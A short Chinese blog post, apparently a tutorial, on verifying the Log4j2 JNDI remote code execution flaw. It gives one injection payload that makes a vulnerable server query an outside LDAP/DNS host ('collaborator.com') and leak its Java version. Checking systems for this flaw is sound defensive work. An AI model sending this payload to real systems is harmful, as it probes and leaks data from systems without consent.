log4j2远程代码执行

1、简介

Apache Log4j 2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题。是目前最优秀的Java日志框架之一。

2、漏洞验证

把服务器修改成你的服务器地址,即可得到响应的响应

${jndi:ldap://${sys:java.version}.collaborator.com}

你可能感兴趣的:(log4j2远程代码执行)